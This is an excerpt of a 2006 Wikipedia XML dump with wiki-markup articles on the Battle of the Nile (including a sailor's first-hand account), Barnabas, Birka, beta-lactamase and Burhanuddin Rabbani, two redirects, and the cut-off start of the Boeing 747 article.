  <page>
    <title>Battle of Aboukir Bay</title>
    <id>4605</id>
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      <text xml:space="preserve">#REDIRECT [[Battle of the Nile]]
</text>
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  </page>
  <page>
    <title>Battle of the Nile</title>
    <id>4606</id>
    <revision>
      <id>41823015</id>
      <timestamp>2006-03-01T23:47:52Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of the Nile
|partof=the [[French Revolutionary Wars]]
|image=[[Image:Luny Thomas Battle Of The Nile August 1st 1798 At 10pm.jpg|300px|Battle of the Nile by Luny Thomas]]
|caption=''Battle of the Nile'', [[August 1]], [[1798]], 10pm, by [[Luny Thomas]]
|date=[[August 1|1]]-[[August 2]] [[1798]]
|place=[[Aboukir|Aboukir Bay]], [[Egypt]]
|result=Decisive British victory
|combatant1=[[United Kingdom|Britain]]
|combatant2=[[France]]
|commander1=[[Horatio Nelson]]
|commander2=[[François-Paul Brueys D'Aigalliers]]
|strength1=14 [[ships of the line]] (thirteen 74-gun, one 50-gun)
|strength2=13 ships of the line (one 120-gun, three 80-gun, nine 74-gun) and 4 [[frigate]]s
|casualties1=218 killed&lt;br&gt;677 wounded
|casualties2=3 battleships burnt&lt;br&gt;9 battleships captured&lt;br&gt;1 frigate sunk&lt;br&gt;1,700 killed&lt;br&gt;600 wounded&lt;br&gt;3,000 prisoners
}}
{{Campaignbox Egypt-Syria}}

The '''Battle of the Nile''', known in France as the '''Battle of Aboukir Bay''', was an important [[naval battle]] of the [[French Revolutionary Wars]] between a [[Kingdom of Great Britain|British]] fleet commanded by Rear-Admiral [[Horatio Nelson]] and a [[France |French]] fleet under Vice-Admiral [[François-Paul Brueys D'Aigalliers]]. It took place on the evening and early morning of [[August 1]] and [[August 2|2]] [[1798]]. French losses were as high as 1,700 dead (including Brueys) and 3,000 captured. British losses were 218 dead.

==Background==
Still on the rise but not yet the number one enemy of Britain, commanding General [[Napoleon I of France|Napoleon Bonaparte]] intended to threaten the British position in [[India]] via the invasion and conquest of [[Egypt]]. The expedition was also cultural and included many scientists, educators, and technical specialists &amp;mdash; including a surveying party, as French intellectuals had long debated the feasibility of cutting a ship-canal between the Red and Mediterranean Seas. About three weeks after his landing there, a British fleet of 14 ships under [[Horatio Nelson]], which had been scouring the eastern [[Mediterranean Sea]] looking for the French fleet, finally came upon the 15 French ships being used to support the invasion.

==Preparations==
[[Image:Battle of Aboukir Bay.png|thumb|300px|Map of ship positions and movements during the Battle of Aboukir Bay, [[1 August|1]]&amp;ndash;[[2 August]], [[1798]]. British ships are in red; French ships are in blue. Intermediate ship positions are shown in pale red/blue. Based upon a map from ''Intelligence in War'', [[John Keegan]], 2003]]

The fleets met, close to sunset on [[August 1]]. The French were at anchor in [[Abu Qir Bay |Abū Qīr Bay]], in shallow water near a shoal, less than 4 [[fathom]]s (8 m) deep. The shoal was being used to protect the south-western (port) side of the fleet, while the star-board side faced the north-east, and open sea. Nelson had already achieved great fame, and Admiral Brueys had studied his tactics at the [[Battle of the Saints]] and other engagements. As a consequence, Brueys had his line of battle chained together at anchor, to prevent the British from cutting the line, and defeating a part of it in detail in a night action. Brueys expected the battle to begin the next morning, as he did not believe the British would risk a night encounter in shallow, uncharted waters. Leisurely, preparations for combat began. It is possible that the French were preparing to try to escape during the night.

==The battle==
Admiral Nelson observed that the French fleet was anchored too far from the shallows. He ordered his line of battle to divide in two, with one division to pass between the French line and the shoal, and the other division to close from the deeper side, and so to fire upon the French from both sides. One British ship, [[HMS Culloden |Culloden]], ran aground; but the remainder were able to stay afloat, and began taking the French fleet apart, one by one. The wind from the north meant that the unengaged French ships could not come up to help their fellows, enabling Nelson to put several ships onto a target at a time, working his way down the line.

[[Image:Aboukir2.jpg|thumb|200px|The British attack the anchored French line of battle, by [[Thomas Whitcombe]].]]

The French flagship, [[French ship L'Orient|''L'Orient'']] came under fire first, from [[HMS Bellerophon (1786)|''Bellerophon'']], which received a battering and drifted away dismasted, and then from [[HMS Alexander|''Alexander'']] and [[HMS Swiftsure|''Swiftsure'']]. By 21:00, ''L'Orient'' was ablaze, and the battle paused; as ships tried to distance themselves from the anticipated explosion. At about 22:00, the fire reached the magazine and the flagship exploded, hurling blazing parts of ship and crew hundreds of metres into the air. Only a hundred or so of L'Orient's crew of a thousand survived, by swimming from the burning ship.

[[Image:Aboukir.jpg|thumb|200px|The French flagship Orient explodes, by [[Arnald George]].]]

Only two French ships towards the end of the line, [[French ship Généreux|''Généreux'']] and [[French ship Guillaume Tell|''Guillaume Tell'']], together with the two frigates ''Diane'' and ''Justice'', were able to escape. The rest were burned, or captured by morning on [[2 August]].

Returning home with Nelson's dispatches, ''Leander'', captained by [[Edward Berry]], was later captured by the surviving 74-gun ''Généreux'' after a fierce battle, somewhat delaying the arrival of the triumphant news in Britain.

The battle established British naval superiority during the remainder of the [[French Revolutionary Wars]], and was an important contribution to the growing fame of Admiral Nelson. It is also well-known for literary reasons: [[Felicia D. Hemans]]' poem [[Casabianca (poem)|&quot;Casabianca&quot;]], often known better by its first line, &quot;The boy stood on the burning deck&quot;, is about the son of [[Luc-Julien-Joseph Casabianca]], who died in the explosion of the French flagship, ''L'Orient'' during this battle.

==Recent archaeology==
In [[2000]], Dr. Paolo Gallo, an [[Italy|Italian]] [[Archaeology|archaeologist]] discovered a burial site on [[Nelson's Island]] in Abū Qīr Bay. The graves contained the remains of sailors, officers, marines, women (some of whom may have disguised their sex to serve as sailors), and surprisingly, three infants. Subsequent work with British historian and archaeologist Nick Slope determined that some of the graves dated to shortly after the battle, while others dated from another battle in [[1801]].

On [[18 April]] [[2005]], thirty of the British sailors and officers were given a military funeral in [[Alexandria]], attended by the crew of the visiting [[HMS Chatham (F87)|HMS ''Chatham'']]. Only one of the bodies, that of Commodore James Russell, who died during the [[1801]] battle, was positively identified. One of his descendants attended the ceremony, and was presented with a flag.

==Memorials==
One of the most unusual memorials to any naval battle lies just a few miles from [[Stonehenge]] on [[Salisbury Plain]], in [[Wiltshire]]. The memorial is composed of numerous clumps of [[beech]] trees, which had been planted on otherwise arable farmland. These clumps are known as the Nile Clumps, because it is believed they were shaped from a larger piece of woodland (forest) after the Battle of the Nile, to represent the positions of French and British ships. Many of the &quot;ships&quot; have &quot;sunk&quot; over the years, but several still survive, and work is underway to replant some of them.

The story behind their construction is that [[Emma Hamilton]], mistress of [[Nelson]] in her declining years, became friends with the Marquess of Queensbury, landowner of much of the land around the town of [[Amesbury]], including [[Stonehenge]]; and, together with Captain [[Thomas Hardy (naval officer)|Thomas Hardy]], Nelson's flag captain at the [[Battle of Trafalgar]], persuaded the Marquess to create the unique memorial.

Most of the surviving clumps now stand on land owned by the [[National Trust for Places of Historic Interest or Natural Beauty|National Trust]]'s [[Stonehenge Historic Landscape]] estate.

'''Ships involved:'''

===Britain (Horatio Nelson)===
*[[HMS Vanguard (1787)|Vanguard]] 74 (flag)
*[[HMS Alexander|Alexander]] 74
*[[HMS Audacious (1785)|Audacious]] 74
*[[HMS Bellerophon (1786)|Bellerophon]] 74
*[[HMS Culloden|Culloden]] 74, ran aground, took no part
*[[HMS Defence (1763)|Defence]] 74
*[[HMS Goliath|Goliath]] 74
*[[HMS Leander (1780)|Leander]] 50
*[[HMS Majestic|Majestic]] 74
*[[HMS Minotaur (1793)|Minotaur]] 74
*[[HMS Orion (1787)|Orion]] 74
*[[French ship Swiftsure|Swiftsure]] 74
*[[HMS Theseus (1786)|Theseus]] 74
*[[HMS Zealous|Zealous]] 74
*Mutine - Assisted Culloden; took no part

===France (François-Paul Brueys D'Aigalliers)===
'''Battle line'''
*Orient 120 (flagship, captain Casa-Bianca), blown up [[2 August]]
*Franklin 80, captured [[2 August]]
*Tonnant 80, captured [[4 August]]
*Aquilon 74, captured
*Guerrier 74, captured [[2 August]], scuttled (burnt) [[18 August]]
*Heureux 74, captured, [[3 August]], scuttled (burnt) [[16 August]]
*Spartiate 74, captured
*Peuple Souverain 74, captured
*Mercure 74, captured [[3 August]], scuttled (burnt) [[18 August]]
*Conquérant 74, captured
*Généreux 74
*Guillaume Tell 80
*Timoléon 74, run aground and scuttled (blown up), [[3 August]]
'''Frigates''' (inshore)
*Artemise 36, surrendered but scuttled (blown up), [[3 August]]
*Justice 40
*Serieuse 36
'''Brigs'''
*Alerte
*Railleur
*Hercule, scuttled
*Salamine
several gunboats

==First-hand account==
John Nicol, a sailor aboard HMS ''Goliath'', writes this account:

The Goliath led the van. There was a French frigate right in our way. Captain Foley cried, &quot;Sink that brute, what does he there?&quot; In a moment she went to the bottom and her crew were seen running into her rigging. The sun was just setting as we went into the bay, and a red and fiery sun it was. I would, if had I had my choice, been on the deck. There I would have seen what was passing and the time would not have hung so heavy, but every man does his duty with spirit, whether his station be in the slaughterhouse or the magazine.

I saw as little of this action as I did of the one on [[14 February]] off Cape St Vincent. My station was in the powder magazine with the gunner. As we entered the bay we stripped to our trousers, opened our ports, cleared, and every ship we passed gave them a broadside and three cheers. Any information we got was from the boys and women who carried the powder. The women behaved as well as the men, and got a present for their bravery from the grand signior.

When the French Admiral's ship blew up, the Goliath got such a shake we thought the after-part of her had blown up until the boys told us what it was. They brought us every now and then the cheering news of another French ship having struck [surrendered], and we answered the cheers on deck with heartfelt joy. In the heat of the action a shot came right into the magazine but did no harm as the carpenters plugged it up and stopped the water that was rushing in.

I was much indebted to the gunner's wife who gave her husband and me a drink of wine every now and then, which lessened our fatigue much. There were some of the women wounded, and one woman belonging to Leith died of her wounds and was buried on a small island in the bay. One woman bore a son in the heat of the action. She belonged to Edinburgh.

When we ceased firing I went on deck to view the state of the fleets, and an awful sight it was. The whole bay was covered with dead bodies, mangled, wounded, and scorched, not a bit of clothes on them except their trousers. There were a number of French, belonging to the French Admiral's ship, the L'Orient, who had swam to the Goliath, and were cowering under her forecastle. Poor fellows! they were brought on board, and Captain Foley ordered them down to the steward's room, to get provisions and clothing. One thing I observed in these Frenchmen quite different from anything I had before observed. In the American War, when we took a French ship, the Duke de Chartres, the prisoners were as merry as if they had taken us, only saying, `Fortune de guerre - you take me today, I take you tomorrow.' Those we now had on board were thankful for our kindness, but were sullen and as downcast as if each had lost a ship of his own.

The only incidents I heard of are two. One lad who was stationed by a salt-box, on which he sat to give out cartridges, and keep the lids closed - it is a trying berth - when asked for a cartridge, he gave none, yet he sat upright; his eyes were open. One of the men gave him a push; he fell all his length on the deck. There was not a blemish on his body, yet he was quite dead, and was thrown overboard. The other, a lad who had the match in his hand to fire his gun. In the act of applying it, a shot took off his arm; it hung by a small piece of skin. The match fell to the deck. He looked to his arm, and seeing what had happened, seized the match in his left hand, and fired off the gun before he went to the cockpit to have it dressed. They were in our mess, or I might never have heard of it. Two of the mess were killed, and I knew not of it until the day after. Thus terminated the glorious first of August, the busiest night in my life.

Soon after the action the whole fleet set sail with the prizes, and left the Goliath as guard ship. We remained here until we were relieved by the Tigre, seventy-four, when we sailed for Naples to refit. After refitting we sailed for Malta to join the blockade, where we remained eight months without any occurrence worthy of notice.

==Afterwards==
When the British had clearly won the battle, Napoleon abandoned his army and left for France, where he forgot about the incidence.  Admiral Nelson gained great respect as a strategic leader.

==References==
* {{news reference
 | lastname=Smith | firstname=Tannalee
 | title=30 Members of British Fleet Reburied
 | date= [[April 18]] [[2005]]
 | org=Associated Press
 }}
* {{cite web
 | author=Slope, Nick
 | title=Burials on Nelson's Island
 | publisher=London: BBC
 | year= [[February 5]] [[2004]]
 | work=Women in Nelson's Navy
 | url=http://www.bbc.co.uk/history/war/trafalgar_waterloo/women_nelson_navy_05.shtml
 | accessdate=August 2 | accessyear=2005
 }}
* {{cite book
 | title = Naval wars in the Levant 1559–1853
 | first = R. C. | last = Anderson
 | id = ISBN 0878397990
 }}

[[Category:Naval battles|Nile]]
[[Category:Battles of the French Revolutionary Wars|Nile]]
[[Category:1798]]

[[de:Seeschlacht bei Abukir]]
[[eo:Batalo de Abukiro]]
[[es:Batalla del Nilo]]
[[fr:Bataille d'Aboukir (1798)]]
[[it:Battaglia del Nilo]]
[[nl:Slag op de Nijl]]
[[pt:Batalha do Nilo]]
[[sv:Slaget vid Nilen]]</text>
    </revision>
  </page>
  <page>
    <title>Barnabas</title>
    <id>4607</id>
    <revision>
      <id>40703258</id>
      <timestamp>2006-02-22T12:29:46Z</timestamp>
      <contributor>
        <username>Cwoyte</username>
        <id>73124</id>
      </contributor>
      <minor />
      <comment>/* Alleged Writings */</comment>
      <text xml:space="preserve">: ''See separate entry for [[Barnabas (band)]]''.

'''Barnabas''' was an early Christian mentioned in the [[New Testament]]. His [[Hellenistic]] [[Jewish]] parents called him Joseph, but when he sold all his goods and gave the money to the apostles in [[Jerusalem]], they gave him a new name: Barnabas, which means 'son of consolation' or 'man of encouragement.' According to [[Acts of the Apostles|Acts]] 4:36, his original name was Joseph (although the [[Byzantine text-type]] calls him Joses, the [[Aramaic language|Aramaic]] version of Joseph); he was surnamed by the [[Twelve apostles|apostle]]s (in Aramaic) ''Barnebhuah,'' which is explained by the Greek ''huios parakleseos'' (&quot;son of exhortation,&quot; not &quot;of consolation,&quot; see [[Acts of the Apostles|Acts]] 11:23) and connotes a prophet in the primitive Christian sense of the word (see Acts 13:1; 15:32). His feast day is [[June 11]].

In many English translations of the Bible, including the [[New International Version]] (NIV), [[King James Version]] (KJV), and [[New American Standard Bible]] (NASB), Barnabas is called an apostle. In Acts 14:14 of these translations, he is listed ahead of Paul, &quot;Barnabas and Paul,&quot; instead of &quot;Paul and Barnabas;&quot; both men being described as apostles. Whether Barnabas was an apostle became an important political issue, which was debated in the [[Middle Ages]] (see below).

==His Life==
Barnabas is one of the first prophets and teachers of the church at [[Antioch]] ([[Acts of the Apostles|Acts]] 13:1). [[Luke]] speaks of him as a &quot;good man&quot; (11:24). He was born of Jewish parents of the tribe of Levi. His aunt was the mother of [[John, surnamed Mark]] ([[Colossians]] 4:10). He was a native of [[Cyprus]], where he possessed land (Acts 4:36, 37), which he sold, and gave the proceeds to the church in [[Jerusalem]]. When [[Paul of Tarsus|Paul]] returned to Jerusalem after his conversion, Barnabas took him and introduced him to the apostles (9:27); it is possible that they had been fellow students in the school of [[Gamaliel]].

The prosperity of the church at [[Antioch]] led the apostles and brethren at Jerusalem to send Barnabas there to superintend the movement. He found the work so extensive and weighty that he went to [[Tarsus (city)|Tarsus]] in search of Paul to assist him. Paul returned with him to Antioch and labored with him for a whole year (Acts 11:25, 26). At the end of this period, the two were sent up to Jerusalem (AD 44) with the contributions the church at Antioch had made for the poorer members of the Jerusalem church (11:28-30). 

Shortly after they returned, bringing John Mark with them, they were appointed as missionaries to [[Asia Minor]], and in this capacity visited [[Cyprus]] and some of the principal cities of [[Pamphylia]], [[Pisidia]], and [[Lycaonia]] (Acts 13:14). With the conversion of [[Sergius Paulus]], Paul begins to gain prominence over Barnabas from the point where the name &quot;Paul&quot; is substituted for &quot;Saul&quot; (13:9); instead of &quot;Barnabas and Saul&quot; as heretofore (11:30; 12:25; 13:2, 7) we now read &quot;Paul and Barnabas&quot; (13:43, 46, 50; 14:20; 15:2, 22, 35); only in 14:14 and 15:12, 25 does Barnabas again occupy the first place, in the first passage with recollection of 14:12, in the last two, because Barnabas stood in closer relation to the Jerusalem church than Paul. Paul appears as the preaching missionary (13:16; 14:8-9, 19-20), whence the Lystrans regarded him as [[Hermes]], Barnabas as [[Zeus]] (14:12). Returning from this first missionary journey to Antioch, they were again sent up to Jerusalem to consult with the church there regarding the relation of Gentiles to the church (Acts 15:2: [[Galatians]] 2:1). According to Gal. 2:9-10, Barnabas was included with Paul in the agreement made between them, on the one hand, and [[James the Just|James]], [[Saint Peter|Peter]], and [[John the Apostle|John]], on the other, that the two former should in the future preach to the pagans, not forgetting the poor at Jerusalem. This matter having been settled, they returned again to Antioch, bringing the agreement of the [[Council of Jerusalem|council]] that [[Gentiles]] were to be admitted into the church.

Having returned to Antioch and spent some time there (15:35), Paul asked Barnabas to accompany him on another journey (15:36). Barnabas wished to take John Mark along, but Paul did not, as he had left them on the former journey (15:37-38). The dispute ended by Paul and Barnabas taking separate routes. Paul took [[Silas]] as his companion, and journeyed through Syria and Cilicia; while Barnabas took his younger cousin, John Mark, to visit Cyprus (15:36-41).

Barnabas is not again mentioned by Luke in the Acts. However, in Gal. 2:13 a little more is learned about him, and his weakness under the taunts of the [[Jewish Christians]] is evident; and from [[1 Corinthians]] 9:6 it may be gathered that he continued to labor as missionary.

=== Other sources ===
Other sources bring Barnabas to [[Rome]] and [[Alexandria, Egypt|Alexandria]]. In the [[Clementine literature|&quot;Clementine Recognitions&quot;]] (i, 7) he is depicted as preaching in Rome even during Christ's lifetime, and [[Clement of Alexandria]] (''Stromata'', ii, 20) makes him one of the [[Seventy Apostles|seventy disciples]] that are mentioned in the [[Gospel of Luke]]. 

Not older than the [[3rd century]] is the tradition of the later activity and martyrdom of Barnabas in Cyprus, where his remains are said to have been discovered under the [[Zeno of the Byzantine Empire|Emperor Zeno]]. The [[Cypriot Orthodox Church|Cypriot church]] claimed Barnabas as its founder in order to rid itself of the supremacy of the [[Patriarch of Antioch|Antiochian bishop]], just as did the [[Roman Catholic Archdiocese of Milan|Milan church]] afterward, to become more independent of Rome. In this connection, the question whether Barnabas was an apostle became important, and was often discussed during the Middle Ages (compare C. J. Hefele, ''Das Sendschreiben des Apostels Barnabas,'' Tübingen, 1840; O. Braunsberger, ''Der Apostel Barnabas,'' Mainz, 1876). The statements as to the year of Barnabas's death are discrepant and untrustworthy.

=== Alleged Writings ===
[[Tertullian]] and other Western writers regard Barnabas as the author of the [[Epistle to the Hebrews]]. This may have been the Roman tradition -- which Tertullian usually follows -- and in Rome the epistle may have had its first readers. But the tradition has weighty considerations against it. 

According to [[Photius]] (''Quaest. in Amphil.,'' 123), Barnabas wrote the [[Acts of the Apostles]]. (Current consensus ascribes the book to [[Luke the Evangelist|Luke]].)

He is also traditionally assocatiated with the [[Epistle of Barnabas]], although modern scholars think it more likely that that epistle was written in Alexandria in the 130s.

A book named the ''&quot;Gospel of Barnabas&quot;'' is listed in two early catalogs of apocryphal texts {{fact}}.

A different book using that same title, ''[[Gospel of Barnabas]]'' survives in two post-medieval manuscripts in Italian and Spanish (compare T. Zahn, ''Geschichte des neutestamentlichen Kanons,'' ii, 292, Leipsig, 1890). Although the book is ascribed to Barnabas, close examination of its text suggests that the book was written either by a [[14th century]] Italian or a [[16th century]] [[Morisco]]. There is no evidence to suggest that it is the earlier listed ''Gospel of Barnabas''.  In accordance with [[Muslim]] belief, rather than other Christian gospels, this later ''[[Gospel of Barnabas]]'' states that Jesus was a prophet, not the son of God, and calls Paul ''&quot;the deceived.&quot;'' The book also indicates that Jesus rose alive into heaven without having been crucified, and that [[Judas Iscariot]] was crucified in his place.

{{Eastons}}
{{Schaff-Herzog}}

=== Literature: Epistle of Barnabas ===
*Die Apostolischen Väter. Griechisch-deutsche Parallelausgabe. J.C.B. Mohr Tübingen 1992. ISBN 3-16-145887-7
*Der Barnabasbrief. Übersetzt und erklärt von Ferdinand R. Prostmeier. Series: Kommentar zu den Apostolischen Vätern (KAV, Vol. 8). Vandenhoeck &amp; Ruprecht: Göttingen 1999. ISBN 3-525-51683-5


===External links===
* [http://www.understanding-islam.org/related/text.asp?type=rarticle&amp;raid=26 Barnabas - His Gospel &amp; its Credibility]
* [http://www.barnabas.net Gospel of Barnabas]
* [http://www2.evansville.edu/ecoleweb/glossary/barnabas.html The Ecole Glossary about Barnabas]
* [http://www.ccel.org/fathers2/ANF-01/anf01-41.htm The Epistle of Barnabas]
* [http://www.catholic-forum.com/saints/saintb12.htm BARNABAS the Apostle]
* [http://www.newadvent.org/fathers/0124.htm The Epistle of Barnabasn Catholic Encyclopedia]

[[Category:Ancient Roman Christianity]]
[[Category:Saints]]
[[Category:Religion in Cyprus]]
[[Category:Cypriot people]]
[[Category:Cypriot writers]]
[[Category:Ancient Jewish Greek history]]

[[de:Barnabas]]
[[it:San Barnaba]]
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[[fi:Barnabas]]
[[sv:Barnabas]]
[[tr:Barnabas]]
[[zh:巴拿巴]]</text>
    </revision>
  </page>
  <page>
    <title>Birka</title>
    <id>4608</id>
    <revision>
      <id>38866589</id>
      <timestamp>2006-02-09T03:47:15Z</timestamp>
      <contributor>
        <username>Croat Canuck</username>
        <id>389406</id>
      </contributor>
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">[[Image:Björkö in Sweden.png|right|200px|thumb|Location in Sweden]]
'''Birka''' {{Audio|Sv-Birka.ogg|listen}} , also '''Birca''' and '''Bierkø''' (today named '''Björkö''', literally &quot;Birch Island&quot;), was an important trading center in the [[Baltic Sea]] region from the [[8th century]], which handled goods from [[Eastern Europe]] and the Orient, possibly as far as [[China]], thus covering most of the [[Viking Age]]. Björkö is located in the [[Mälaren|Lake Mälaren]], just west of [[Stockholm]], in the municipality of [[Ekerö]] in Sweden. Birka and Hovgården is a [[UNESCO]] [[World Heritage Site]] since [[1993]].

Ownership of Björkö, is today mainly in private hands, and used for farming. The settlement site, however is an [[archaeological]] site, and a [[museum]] has been built nearby for exhibition of finds, models and reconstructions. It is a popular site to visit during the summer times.

== Brief description ==
The Birka archaeological site, located on Björkö in [[Mälaren|Lake Mälaren]] and occupied in the [[9th century|9th]] and [[10th century|10th centuries]], and [[Hovgården]], on the neighbouring island of [[Adelsö]], make up an archaeological complex which illustrates the elaborate [[trading network]]s of [[Viking Age]] [[Europe]] and their influence on the subsequent history of [[Scandinavia]]. Birka was also important as the site of the first [[Christianity|Christian]] [[Congregation (worship)|congregation]] in Sweden, founded in [[831]] by [[Ansgar|Saint Ansgar]].
[[Image:Suecia Björkö.jpg|right|200px|thumb|Map of Björkö, late 17th century, from [[Suecia antiqua et hodierna]]. Engraving by Willem Swidde.]]

== History ==
Sources are mainly archeological remains. No texts survive from this area, though the written text ''Vita Ansgarii'', &quot;The life of Ansgar&quot; by [[Rimbert]] (c. 865) describes the missionary work of [[Ansgar]] around 830 at Birca, and another written source by [[Adam of Bremen]] describes the [[archbishop]] Unni, who died at Birka in 936. [[Ansgar|St Ansgars]] work was the first attempt to convert the inhabitants from [[Norse Mythology|heathen]] living to Christianity, and it was unsuccessful.

Since there are no known [[Old_Norse_language|Norse]] sources mentioning the name of the settlement, the true name of Birka is unknown. The names in general use, ''Birca'' and ''Birka'' are the [[Romanization|latinicised]] forms given in the sources. The exact location of Birka was also lost during the centuries, leading to speculation from Swedish historians. Still today there are those who question whether Björkö was indeed the legendrary Birka.

In the late 19th century, [[Hjalmar Stolpe]], an [[Entomology|entymologist]] by education, arrived on Björkö to study fossilized insects found in [[amber]] on the island. Stolpe found very large amounts of amber on the island, which is unusual since amber is not normally found in lake Mälaren. Stolpe speculated that the island may have been an important trading post, prompting him to conduct a series of archeological excavations. The excavations soon indicated that a major settlement had been located on the island and eventually Stolpe spent two decades excavating the island. With Birka's location determined to be Björkö, it is now assumed that the original name of Birka was simply ''Bierkø'' (sometimes spelt ''Bjärkö''), an earlier form of ''Björkö''.

The function or significance as a trading center of the [[Baltic sea]] was moved to [[Sigtuna]] in the [[10th century]] for unknown reasons. Although due to the [[Post-glacial_rebound|rising of lake Mälaren]], Björkö is no longer navigable from the Baltic Sea.

== Archeological site ==
[[Image:BirkaExcavation1.png|thumb|left|Townsite of Birka]]
The archeological remains are located in the north part of Björkö and span an area of about 7 [[hectare]]s (17 [[acre]]s). The remains are both graveyards and buildings, and in the south part of this area, there is also a [[castle]]-like building called &quot;Borgen&quot; (&quot;The Castle&quot;). The construction technique of the buildings is still unknown, but the main material was [[wood]]. An adjacent island holds the remains of [[Hovgården]], an estate which housed the King's retinue during visits.

Approximately 700 people lived at Birka when it was as largest, and about 3,000 graves have been found. Its administrative center was supposedly located outside of the settlement itself, on the nearby island of [[Adelsö]]. According to Rimbert, the settlement itself was fortified by a wooden [[palisade]] and its [[harbour]] guarded by pilings driven into the bottom of the lake, limiting the number of ships able to pass into it. However, there is as yet no archaeological evidence of this.

The island has been a focus of investigation since the [[17th century]], although the largest excavations were performed by Stolpe between 1871-95. The most recent large excavation was performed between 1990-95 in a certain region, the &quot;Black Land&quot;, believed to be the site of the main settlement.  Björkö is today mainly agricultural, and shipping lines carry tourists to the island, where a museum showcases a view of life during the Viking era.

== Contemporary centres of Baltic trade ==
*[[Hedeby]]
*[[Roslagen]]
*[[Ladoga]]

== External links ==
*[http://www.raa.se/varveng/birkae.asp Birka and Hovgården] at the [[Swedish National Heritage Board]]
*[http://www.raa.se/birka_eng/index.asp Birka] at the [[Swedish National Heritage Board]]
*[http://whc.unesco.org/sites/555.htm Birka and Hovgården] - at UNESCO

[[Category:World Heritage Sites in Sweden]]
[[Category:Mälaren]]
[[Category:Archaeological sites in Sweden]]
[[Category:European archaeology]]
[[Category:Viking Age]]

[[da:Birka]]
[[de:Birka]]
[[eo:Birka]]
[[hu:Birka (város)]]
[[nl:Birka en Hovgården]]
[[no:Birka]]
[[pl:Birka (miasto)]]
[[fi:Birka]]
[[sv:Birka]]</text>
    </revision>
  </page>
  <page>
    <title>Beta-lactamase</title>
    <id>4609</id>
    <revision>
      <id>36456793</id>
      <timestamp>2006-01-24T04:02:32Z</timestamp>
      <contributor>
        <ip>147.8.45.206</ip>
      </contributor>
      <text xml:space="preserve">'''Beta-lactamase''' is a type of [[enzyme]] ({{EC number|3.5.2.6}}) produced by some bacteria that is responsible for their [[antibiotic resistance|resistance]] to [[beta-lactam antibiotic]]s like [[penicillin]]s, [[cephalosporin]]s, [[cephamycin]]s and [[carbapenem]]s. These [[antibiotic]]s have a common element in their molecular structure: a four-atom ring known as a [[beta-lactam]]. The lactamase enzyme breaks that ring open, deactivating the molecule's antibacterial properties.

The structure of a ''[[Streptomyces]]'' &amp;beta; lactamase is given by {{PDB|1BSG}}.

== See also: ==
* [[Penicillinase]]

==Reference==
* Jacoby GA, Munoz-Price LS. ''The new &amp;beta;-lactamases''. [[N Engl J Med]] 2005;352:380-91. PMID 15673804

[[Category:Microbiology]]
[[Category:EC 3.5.2]]
[[fr:Bêta-lactamase]]</text>
    </revision>
  </page>
  <page>
    <title>Burhanuddin Rabbani</title>
    <id>4611</id>
    <revision>
      <id>38180361</id>
      <timestamp>2006-02-04T19:23:05Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Burhanuddin Rabbani''' ('''برهان الدين رباني''') (born [[1940]]), an ethnic [[Tajiks|Tajik]], is a former President of Afghanistan and was political leader of the [[Afghan Northern Alliance|Northern Alliance]] of [[Afghanistan]]. 

In [[1992]] he became [[President]] of the Islamic Council of [[Afghanistan]] (and thus effective ruler of the country), until [[Kabul]] was captured by the [[Taliban]] in [[1996]]. He set up headquarters in the northern Afghan town of [[Faizabad_%28Badakhshan|Faizabad]] and led, with support from [[India]], [[Iran]], and [[Russia]], one of the five anti-Taliban factions.

He was still recognised as leader of [[Afghanistan]] by the [[United Nations]] and most other countries during the Taliban regime. Despite this most of the real power was held by his Ministers of Defence, first [[Ahmed Shah Massoud]] and later [[Mohammed Fahim]] after Massoud's assassination. When the [[United States]] and its allies deposed the Taliban in [[2001]], Rabbani retook the capital and proclaimed himself to be Afghanistan's legitimate [[Head of State]]. He formally handed over power to an interim government headed by [[Hamid Karzai]] on [[December 22]], [[2001]].

In [[2004]] he attended Karzai's formal inauguration as Afghanistan's first elected president. In [[2005]] he was elected to the Afghan Parliament.

{{start box}}
{{succession box |
  before=[[Sibghatullah Mojadeddi|Sibghatullah Mojadeddi]] |
  title=[[President of Afghanistan|President of Afghanistan]] |
  years=1992&amp;ndash;1996, 2001 |
  after=[[Hamid Karzai|Hamid Karzai]] |
}}

[[Category:1940 births|Rabbani, Burhanuddin]]
[[Category:Living people|Rabbani, Burhanuddin]]
[[Category:Afghan heads of state]]

[[ar:برهان الدين رباني]]
[[da:Burhanuddin Rabbani]]
[[de:Burhanuddin Rabbani]]
[[ko:부르하누딘 랍바니]]
[[ja:ブルハーヌッディーン・ラッバーニー]]
[[no:Burhanuddin Rabbani]]</text>
    </revision>
  </page>
  <page>
    <title>Birds</title>
    <id>4612</id>
    <revision>
      <id>15902874</id>
      <timestamp>2002-07-16T13:44:08Z</timestamp>
      <contributor>
        <ip>195.149.37.192</ip>
      </contributor>
      <comment>*fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Bird]] 
</text>
    </revision>
  </page>
  <page>
    <title>Boeing 747</title>
    <id>4614</id>
    <revision>
      <id>41951422</id>
      <timestamp>2006-03-02T21:09:32Z</timestamp>
      <contributor>
        <username>Andypasto</username>
        <id>157574</id>
      </contributor>
      <comment>A 747 can take-off with 3 engines, not just cruise and this is true of all 747s.</comment>
      <text xml:space="preserve">{| align=right
[[Image:Singapore.b747.london.750pix.jpg|thumb|right|300px|Singapore Airlines Boeing 747-412]]
|}
The '''Boeing 747''', commonly called the '''Jumbo Jet''', is one of the most recognizable modern airliners and is the largest [[airliner]] [[as of 2006|currently]] in airline service. First flown commercially in 1970, it held the size record for more than 35 years, although it has been surpassed by the [[Airbus A380]] (due to enter service in late 2006). The [[Ukraine|Ukrainian]]-built [[Antonov An-225]], a [[cargo aircraft|transport]], remains the world's largest aircraft in service (the [[Spruce Goose]] had a larger wing-span).

